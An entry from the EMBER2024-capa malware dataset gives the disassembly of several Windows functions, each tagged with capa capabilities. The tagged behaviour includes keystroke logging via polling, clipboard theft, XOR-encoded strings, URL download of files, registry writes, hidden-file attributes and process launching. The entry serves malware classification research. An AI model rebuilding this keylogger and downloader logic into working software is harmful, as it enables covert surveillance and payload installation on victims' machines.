joyce8/EMBER2024-capa huggingface dataset:
Function at 0x469b3c
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff28
xor eax, eax
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x469cf9
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [0x470e18], eax
call sub.KERNEL32.DLL_GetTickCount
mov eax, 3
call fcn.00402da8
add eax, 4
mov dword [0x470e2c], eax
push 0xc9
lea eax, [ebp - 0xcd]
push eax
call sub.KERNEL32.DLL_GetWindowsDirectoryA
call sub.KERNEL32.DLL_GetTickCount
lea eax, [ebp - 4]
mov dl, byte [ebp - 0xcd]
call fcn.00404344
call sub.KERNEL32.DLL_GetTickCount
mov eax, 0x19f60829
call fcn.00402da8
add eax, 0x192a
mov dword [0x470e2c], eax
push dword [ebp - 4]
push 0x469d0c
push dword [0x46f6d4]
push 0x469d28
lea eax, [ebp - 4]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 4]
call fcn.0040880c
test al, al
je 0x469cd3
call sub.KERNEL32.DLL_GetTickCount
mov eax, dword [ebp - 4]
call fcn.004698b4
call sub.KERNEL32.DLL_GetTickCount
mov eax, 0xea
call fcn.00402da8
add eax, 0x14953bf6
mov dword [0x470e2c], eax
cmp dword [0x470e18], 0
jle 0x469cd3
call sub.KERNEL32.DLL_GetTickCount
mov eax, dword [ebp - 4]
call fcn.0040441c
mov edx, eax
lea eax, [ebp - 4]
mov ecx, 1
call fcn.004046bc
call sub.KERNEL32.DLL_GetTickCount
push 0
push dword [0x46f6d0]
push 0x469d34
push dword [0x46f6d4]
push 0x469d4c
lea eax, [ebp - 0xd4]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 0xd4]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_WinExec
call sub.KERNEL32.DLL_GetTickCount
mov eax, 0x159
call fcn.00402da8
add eax, 0x34b659
mov dword [0x470e2c], eax
push 0
push dword [0x46f6d0]
push 0x469d34
push dword [0x46f6d4]
push 0x469d60
lea eax, [ebp - 0xd8]
mov edx, 4
call fcn.004044dc
mov eax, dword [ebp - 0xd8]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_WinExec
call sub.KERNEL32.DLL_GetTickCount
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469d00
lea eax, [ebp - 0xd8]
mov edx, 2
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x469d70
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
xor eax, eax
mov dword [ebp - 0x260], eax
mov dword [ebp - 0x25c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x469e94
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x257]
xor ecx, ecx
mov edx, 0xfb
call fcn.00402d88
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x257]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x257]
mov ecx, 0xfb
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x469ea8
call fcn.00404424
lea eax, [ebp - 0x25c]
mov ecx, 0x469eb4
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x25c]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.00408894
test eax, eax
jne 0x469e52
lea eax, [ebp - 0x260]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x260]
call fcn.00408924
lea eax, [ebp - 0x15c]
call fcn.004088e4
mov dword [0x470e28], 0x8bcb212c
test eax, eax
je 0x469e1a
lea eax, [ebp - 0x15c]
call fcn.00408908
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x469e9b
lea eax, [ebp - 0x260]
mov edx, 2
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x469ebc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffa3c
push ebx
xor edx, edx
mov dword [ebp - 0x5c0], edx
mov dword [ebp - 0x5c4], edx
mov dword [ebp - 0x5bc], edx
mov dword [ebp - 0x5b8], edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 0x14], edx
mov ebx, eax
lea eax, [ebp - 0x16c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x46a0dd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040415c
lea edx, [ebp - 8]
mov eax, dword [0x46f784]
call fcn.004686c0
lea eax, [ebp - 0x10]
mov edx, dword [ebp - 8]
mov ecx, 0x46a0ec
call fcn.00405ac0
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 8]
mov ecx, 0x46a0fc
call fcn.00405ac0
push 0xffffffffffffffff
push 8
lea eax, [ebp - 0x267]
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
lea eax, [ebp - 4]
lea edx, [ebp - 0x267]
mov ecx, 0xfb
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46a114
call fcn.00404424
lea eax, [ebp - 0x5b8]
mov ecx, 0x46a120
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x5b8]
lea ecx, [ebp - 0x16c]
mov edx, 0x3f
call fcn.00408894
test eax, eax
jne 0x46a07b
lea eax, [ebp - 0x5bc]
mov ecx, dword [ebp - 0x160]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x5bc]
lea edx, [ebp - 0x5b2]
mov ecx, 0x20a
call fcn.00404f34
push 0
lea eax, [ebp - 0x5b2]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
push 2
lea eax, [ebp - 0x3a8]
push eax
push 0xfb
lea eax, [ebp - 0x267]
push eax
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0xc]
lea eax, [ebp - 0x14]
lea edx, [ebp - 0x267]
mov ecx, 0xfb
call fcn.004043cc
mov eax, dword [ebp - 0x14]
call fcn.004087fc
test al, al
je 0x46a068
lea edx, [ebp - 0x5c4]
mov eax, dword [ebp - 0x14]
call fcn.00408a28
mov eax, dword [ebp - 0x5c4]
lea edx, [ebp - 0x5c0]
call fcn.00408014
mov eax, dword [ebp - 0x5c0]
mov edx, 0x46a130
call fcn.00404568
jne 0x46a068
mov eax, ebx
mov edx, dword [ebp - 0x14]
call fcn.004041b0
lea eax, [ebp - 0x16c]
call fcn.00408908
jmp 0x46a086
lea eax, [ebp - 0x16c]
call fcn.004088e4
test eax, eax
je 0x469fa7
lea eax, [ebp - 0x16c]
call fcn.00408908
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a0e4
lea eax, [ebp - 0x5c4]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x16c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 0x14]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.00405a7c
lea eax, [ebp - 0xc]
call fcn.00405a7c
lea eax, [ebp - 8]
call fcn.00405a7c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a138
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46a1ca
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
call fcn.0040415c
mov eax, dword [ebp - 4]
call fcn.0040441c
mov ebx, eax
test ebx, ebx
jbe 0x46a19b
mov esi, 1
lea eax, [ebp - 0xc]
mov edx, dword [ebp - 4]
mov dl, byte [edx + esi - 1]
xor dl, 1
call fcn.00404344
mov edx, dword [ebp - 0xc]
lea eax, [ebp - 8]
call fcn.00404424
inc esi
dec ebx
jne 0x46a17a
mov eax, edi
mov edx, dword [ebp - 8]
call fcn.004041b0
mov dword [0x470e28], 0xd11
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a1d1
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00404180
ret
Function at 0x46a1d8
Capabilities:
Check for time delay via gettickcount
Create process on windows
Delete file
Get common file path
Move file
Set file attributes
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff14
push ebx
push esi
push edi
xor eax, eax
mov dword [ebp - 0xec], eax
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe0], eax
mov dword [ebp - 8], eax
xor eax, eax
push ebp
push 0x46a41f
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
push 0xc8
lea eax, [ebp - 0xd6]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 8]
lea edx, [ebp - 0xd6]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 8]
mov edx, dword [0x46f6a8]
call fcn.00404424
lea edx, [ebp - 0xe0]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xe0]
lea edx, [ebp - 0xdc]
call fcn.00408014
mov eax, dword [ebp - 0xdc]
push eax
lea edx, [ebp - 0xe4]
mov eax, dword [ebp - 8]
call fcn.00408014
mov edx, dword [ebp - 0xe4]
pop eax
call fcn.00404568
je 0x46a3f9
mov byte [ebp - 1], 1
mov eax, dword [ebp - 8]
call fcn.004087fc
test al, al
jne 0x46a3f9
push 0x40
lea edx, [ebp - 0xe8]
xor eax, eax
call fcn.00402ad4
mov ecx, dword [ebp - 0xe8]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov ebx, eax
push 0xffff
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x415468]
call fcn.004192a8
mov esi, eax
push 0
push 0
mov eax, ebx
call fcn.00418e14
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
sub eax, 1
sbb edx, 0
push edx
push eax
mov edx, ebx
mov eax, esi
call fcn.00419090
call fcn.00402b34
mov eax, 0xc8
call fcn.00402da8
add al, 0xa
mov byte [ebp - 0xd], al
lea edx, [ebp - 0xd]
mov ecx, 1
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x10]
mov eax, ebx
call fcn.00403390
mov eax, esi
call fcn.00403390
call sub.KERNEL32.DLL_GetTickCount
mov dword [0x470e28], 0x8bcb20d2
push 7
mov eax, dword [ebp - 8]
call fcn.0040461c
mov ebx, eax
push ebx
call sub.KERNEL32.DLL_SetFileAttributesA
call sub.KERNEL32.DLL_GetTickCount
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x46f6b4]
call fcn.0040461c
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
mov eax, dword [0x46f6ac]
call fcn.0040441c
mov esi, eax
push esi
mov eax, dword [0x46f6ac]
call fcn.0040461c
push eax
push 1
push 0
push 0x46a430
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegSetValueExA
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
push 4
push 0
lea edx, [ebp - 0xec]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0xec]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_MoveFileExA
call sub.KERNEL32.DLL_GetTickCount
mov dword [0x470e28], 0xb50a
cmp dword [0x470e18], 0
jle 0x46a3f1
push 0
push 0x46a43c
call sub.KERNEL32.DLL_WinExec
jmp 0x46a3f9
push 0
push ebx
call sub.KERNEL32.DLL_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a426
lea eax, [ebp - 0xec]
mov edx, 5
call fcn.00404180
lea eax, [ebp - 8]
call fcn.0040415c
ret
Function at 0x46a450
Capabilities:
Create process on windows
Get common file path
Move file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdc8
xor eax, eax
mov dword [ebp - 0x234], eax
mov dword [ebp - 0x238], eax
mov dword [ebp - 0x230], eax
mov dword [ebp - 0x22c], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404ac8
xor eax, eax
push ebp
push 0x46a5b8
push dword fs:[eax]
mov dword fs:[eax], esp
push 4
push 0
lea edx, [ebp - 0x22c]
xor eax, eax
call fcn.00402ad4
mov eax, dword [ebp - 0x22c]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_MoveFileExA
push 0xc8
lea eax, [ebp - 0x225]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 4]
lea edx, [ebp - 0x225]
mov ecx, 0xc9
call fcn.004043cc
lea eax, [ebp - 4]
mov edx, 0x46a5cc
call fcn.00404424
lea eax, [ebp - 0x230]
mov ecx, 0x46a5d8
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x230]
lea ecx, [ebp - 0x15c]
mov edx, 0x3f
call fcn.00408894
lea eax, [ebp - 0x15c]
call fcn.004088e4
jmp 0x46a555
lea eax, [ebp - 0x238]
mov ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 4]
call fcn.00404468
mov eax, dword [ebp - 0x238]
call fcn.0040461c
mov edx, eax
lea eax, [ebp - 0x234]
call fcn.00404354
mov eax, dword [ebp - 0x234]
call fcn.00408924
lea eax, [ebp - 0x15c]
call fcn.004088e4
test eax, eax
je 0x46a51e
push 0
push 0x46a5dc
call sub.KERNEL32.DLL_WinExec
mov dword [0x470e28], 4
mov byte [0x470c15], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a5bf
lea eax, [ebp - 0x238]
mov edx, 4
call fcn.00404180
lea eax, [ebp - 0x15c]
mov edx, dword [0x407368]
call fcn.00404b98
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46a5f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46a7d4
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 0x10]
call fcn.0040415c
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46a7e0
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a810
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46a677
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a81c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46a6bb
lea eax, [ebp - 0x10]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46a830
call fcn.00404468
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push 0x46a834
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
mov dword [ebp - 8], 0x400
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
push 0x46a810
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46a719
lea eax, [ebp - 0xc]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey
mov edx, dword [ebp - 0xc]
mov eax, 0x46a868
call fcn.00404760
dec eax
jne 0x46a744
lea eax, [ebp - 0xc]
mov ecx, 0x12
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0xc]
mov eax, 0x46a884
call fcn.00404760
dec eax
jne 0x46a766
lea eax, [ebp - 0xc]
mov ecx, 8
mov edx, 1
call fcn.004046bc
mov edx, dword [ebp - 0x10]
mov eax, 0x46a898
call fcn.00404760
dec eax
jne 0x46a798
lea eax, [ebp - 0x10]
mov ecx, 0xe
mov edx, 1
call fcn.004046bc
lea eax, [ebp - 0x10]
mov ecx, dword [ebp - 0x10]
mov edx, 0x46a8b0
call fcn.00404468
cmp dword [ebp - 0xc], 0
je 0x46a7ad
mov eax, ebx
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
call fcn.00404468
jmp 0x46a7b9
mov eax, ebx
mov edx, 0x46a8bc
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46a7db
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404180
ret
Function at 0x46b088
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x418], ecx
mov dword [ebp - 0xc], ecx
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040460c
xor eax, eax
push ebp
push 0x46b1fd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call fcn.0040415c
push 0
push 0
push 0
push 0
mov eax, dword [0x46f694]
call fcn.0040461c
push eax
call sub.wininet.dll_InternetOpenA
mov ebx, eax
test ebx, ebx
je 0x46b173
push 0
push 0x80000000
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push ebx
call sub.wininet.dll_InternetOpenUrlA
mov esi, eax
test esi, esi
je 0x46b16d
lea eax, [ebp - 8]
push eax
push 0x401
lea eax, [ebp - 0x40d]
push eax
push esi
call sub.wininet.dll_InternetReadFile
lea eax, [ebp - 0x414]
push eax
lea eax, [ebp - 0x418]
lea edx, [ebp - 0x40d]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 8]
xor edx, edx
call fcn.0040467c
mov edx, dword [ebp - 0x414]
lea eax, [ebp - 0xc]
call fcn.00404424
cmp dword [ebp - 8], 0
jne 0x46b110
push esi
call sub.wininet.dll_InternetCloseHandle
push ebx
call sub.wininet.dll_InternetCloseHandle
lea eax, [ebp - 0x41c]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 0xc]
call fcn.0040467c
mov eax, dword [ebp - 0x41c]
mov edx, 0x46b214
call fcn.00404568
je 0x46b1b4
push 0x668a0
call sub.KERNEL32.DLL_Sleep
mov edx, edi
mov eax, dword [ebp - 4]
call fcn.0046b088
jmp 0x46b1cf
push edi
mov eax, dword [ebp - 0xc]
call fcn.0040441c
mov ecx, eax
sub ecx, 6
mov edx, 4
mov eax, dword [ebp - 0xc]
call fcn.0040467c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b204
lea eax, [ebp - 0x41c]
mov edx, 3
call fcn.00404180
lea eax, [ebp - 0xc]
call fcn.0040415c
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46b218
Capabilities:
Download url
Receive data
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd8
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x40c], eax
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x46b440
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov ecx, dword [0x46f69c]
mov edx, dword [0x470c60]
call fcn.00404468
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
mov esi, eax
push esi
call sub.KERNEL32.DLL__lopen
mov ebx, eax
cmp ebx, 0xffffffff
je 0x46b2dc
push 0x400
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.KERNEL32.DLL__lread
mov esi, eax
push 0x470c5c
lea eax, [ebp - 0x40c]
lea edx, [ebp - 0x405]
mov ecx, 0x401
call fcn.004043cc
mov eax, dword [ebp - 0x40c]
mov ecx, esi
xor edx, edx
call fcn.0040467c
push ebx
call sub.KERNEL32.DLL__lclose
jmp 0x46b41a
push dword [0x46f698]
push 0x46b458
call sub.KERNEL32.DLL_GetTickCount
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x41c]
call fcn.004083e0
mov eax, dword [ebp - 0x41c]
lea edx, [ebp - 0x418]
call fcn.0046afa4
push dword [ebp - 0x418]
lea eax, [ebp - 0x414]
mov edx, 3
call fcn.004044dc
mov eax, dword [ebp - 0x414]
lea edx, [ebp - 0x410]
call fcn.0046b088
mov edx, dword [ebp - 0x410]
mov eax, 0x470c5c
call fcn.004041b0
push 0
push esi
call sub.KERNEL32.DLL__lcreat
mov ebx, eax
mov eax, dword [0x470c5c]
call fcn.0040441c
push eax
mov eax, 0x470c5c
call fcn.00404674
lea edx, [ebp - 0x405]
pop ecx
call fcn.004029a8
mov eax, dword [0x470c5c]
call fcn.0040441c
push eax
lea eax, [ebp - 0x405]
push eax
push ebx
call sub.KERNEL32.DLL__lwrite
push ebx
call sub.KERNEL32.DLL__lclose
mov dword [0x470e28], 0x11c9
cmp byte [0x470c51], 0
je 0x46b41a
push 0
push 0
lea eax, [ebp - 0x420]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x470c60]
call fcn.00404468
mov eax, dword [ebp - 0x420]
call fcn.0040461c
push eax
lea eax, [ebp - 0x424]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x46f698]
call fcn.00404468
mov eax, dword [ebp - 0x424]
call fcn.0040461c
push eax
push 0
call sub.URLMON.DLL_URLDownloadToFileA
push 7
lea eax, [ebp - 0x428]
mov ecx, dword [0x46f6d8]
mov edx, dword [0x470c60]
call fcn.00404468
mov eax, dword [ebp - 0x428]
call fcn.0040461c
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b447
lea eax, [ebp - 0x428]
mov edx, 8
call fcn.00404180
lea eax, [ebp - 4]
call fcn.0040415c
ret
Function at 0x46b8bc
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff30
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46b938
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0040415c
push 0xc9
lea eax, [ebp - 0xcd]
push eax
call sub.KERNEL32.DLL_GetSystemDirectoryA
lea eax, [ebp - 4]
mov dl, byte [ebp - 0xcd]
call fcn.00404344
lea eax, [ebp - 4]
mov edx, 0x46b94c
call fcn.00404424
mov dword [0x470e28], 0x34acfdb
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0046b468
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b93f
lea eax, [ebp - 4]
call fcn.0040415c
ret

Function at 0x46b960
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x46b9f2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.0040415c
push 0
call sub.user32.dll_OpenClipboard
push 1
call sub.user32.dll_GetClipboardData
mov ebx, eax
test ebx, ebx
je 0x46b9d7
push ebx
call sub.KERNEL32.DLL_GlobalLock
mov edx, eax
lea eax, [ebp - 4]
call fcn.00404354
mov eax, dword [ebp - 4]
call fcn.0040441c
cmp eax, 0xc8
jle 0x46b9c7
lea eax, [ebp - 4]
push eax
mov ecx, 0xc8
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0040467c
mov eax, esi
mov edx, dword [ebp - 4]
call fcn.004041b0
push ebx
call sub.KERNEL32.DLL_GlobalUnlock
call sub.user32.dll_CloseClipboard
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46b9f9
lea eax, [ebp - 4]
call fcn.0040415c
ret

Function at 0x46ba00
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x46ba88
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x104
call fcn.004047a8
push 0xffffffffffffffff
push 6
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
push 0
call sub.shell32.dll_SHGetSpecialFolderPathA
test eax, eax
jne 0x46ba47
lea eax, [ebp - 4]
call fcn.0040415c
jmp 0x46ba63
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.004089bc
mov edx, dword [ebp - 8]
lea eax, [ebp - 4]
mov ecx, dword [0x46f6b8]
call fcn.00404468
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46ba8f
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret
Function at 0x46ba94
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbf0
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x46bbad
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.0040415c
lea eax, [ebp - 8]
call fcn.0040415c
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 0xc]
push eax
push 0xf003f
push 0
mov eax, dword [0x46f6bc]
call fcn.0040461c
push eax
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
mov eax, dword [0x46f6c0]
call fcn.0040461c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46bb27
lea eax, [ebp - 4]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 4]
call fcn.0040441c
test eax, eax
je 0x46bb7f
mov dword [ebp - 0x10], 0x400
lea eax, [ebp - 4]
mov edx, dword [ebp - 4]
mov dl, byte [edx]
call fcn.00404344
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x410]
push eax
push 0
push 0
mov eax, dword [ebp - 4]
call fcn.0040461c
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x46bb7f
lea eax, [ebp - 8]
lea edx, [ebp - 0x410]
mov ecx, 0x400
call fcn.004043cc
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
mov edx, dword [ebp - 8]
call fcn.004041b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bbb4
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret

Function at 0x46bcf0
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
xor eax, eax
push ebp
push 0x46bdb6
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebx]
push eax
call sub.user32.dll_GetAsyncKeyState
and ax, 1
cmp ax, 1
jne 0x46bd8e
mov eax, ebx
add eax, 0xffffffd0
sub eax, 0xa
jb 0x46bd34
add eax, 0xfffffff9
sub eax, 0x1a
jb 0x46bd34
add eax, 0xfffffffa
sub eax, 0x1a
jae 0x46bd62
push dword [0x470c1c]
push 0x46bdcc
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00404344
push dword [ebp - 4]
push 0x46bdd8
mov eax, 0x470c1c
mov edx, 4
call fcn.004044dc
jmp 0x46bd8e
push dword [0x470c1c]
push 0x46bde4
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004082f4
push dword [ebp - 8]
push 0x46bdf0
mov eax, 0x470c1c
mov edx, 4
call fcn.004044dc
inc ebx
cmp ebx, 0x100
jne 0x46bd08
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x46bdbd
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404180
ret